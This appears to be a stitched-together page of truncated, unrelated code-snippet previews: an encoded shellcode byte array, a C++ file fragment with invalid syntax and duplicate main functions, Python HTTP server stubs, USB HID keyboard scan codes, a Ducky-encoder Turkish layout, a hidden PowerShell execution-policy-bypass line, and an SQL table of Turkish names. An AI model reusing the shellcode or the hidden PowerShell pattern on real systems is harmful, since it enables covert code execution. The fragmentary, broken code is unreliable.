###To laptop
Specify an IP address to eth0 (here 192.168.56.1)
sudo ifconfig eth0 192.168.56.1 netmask 255.255.255.0
| "\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" | |
| "\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" | |
| "\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" | |
| "\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" | |
| "\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" | |
| "\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" | |
| "\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" | |
| "\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" | |
| "\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" | |
| "\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" |
| #include <iostream> | |
| #include <fstream> | |
| #include <cstdlib> | |
| #include <string> | |
| #include<locale.h> | |
| using namespace std; | |
| int main() | |
| { |
| int main(int argc, char *argv[]) { | |
| string dosya_adi; | |
| int dongu = 0; | |
| cout << "Dosya Adi " << endl; | |
| cin dosya_adi; | |
| while(dongu =< 50) { | |
| int sayi = rand(); | |
| if(rand() % 3 == 0) { | |
| try { |
| import BaseHTTPServer | |
| from SimpleHTTPServer import SimpleHTTPRequestHandler | |
| import sys | |
| import base64 | |
| key = "" | |
| class AuthHandler(SimpleHTTPRequestHandler): | |
| ''' Main class to present webpages and authentication. ''' | |
| def do_HEAD(self): |
| There are many already existing powerful http servers that can be used in python e.g. gevent, twisted web server. However, they are a bit complex to use and you cannot start them in a thread other than the main thread. | |
| Here is a sample of basic http server using "BaseHTTPRequestHandler". The example exposed two rest interfaces: | |
| To ingest records into the web server | |
| To retrieve already ingested records from the web server | |
| The records are assumed to be JSON based, however, any type of records can be ingested. | |
| [sourcecode language="python" wraplines="false" collapse="false"] | |
| from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer |
| /** | |
| * USB HID Keyboard scan codes as per USB spec 1.11 | |
| * plus some additional codes | |
| * | |
| * Created by MightyPork, 2016 | |
| * Public domain | |
| * | |
| * Adapted from: | |
| * https://source.android.com/devices/input/keyboard-devices.html | |
| */ |
| //DuckyEncoder | |
| // Turkish Layout | |
| // Fixed Meantcoder => meantcoder@gmail.com | |
| ASCII_09 = KEY_TAB | |
| ASCII_0A = KEY_ENTER | |
| // 32 | |
| ASCII_20 = KEY_SPACE | |
| // 33 ! |
| powershell -NoP -NonI -W Hidden -Exec Bypass echo "Hello World" |
| -- Turkce isimler sozlugu twitter : http://twitter.com/tserpico | |
| CREATE TABLE `isimler` ( | |
| `id` int(11) NOT NULL AUTO_INCREMENT, | |
| `isimler` varchar(255) DEFAULT NULL, | |
| `cinsiyet` varchar(255) DEFAULT NULL COMMENT 'erkek : E , kadın : K , uniseks : U', | |
| PRIMARY KEY (`id`) | |
| ) ENGINE=InnoDB; | |
| -- ---------------------------- |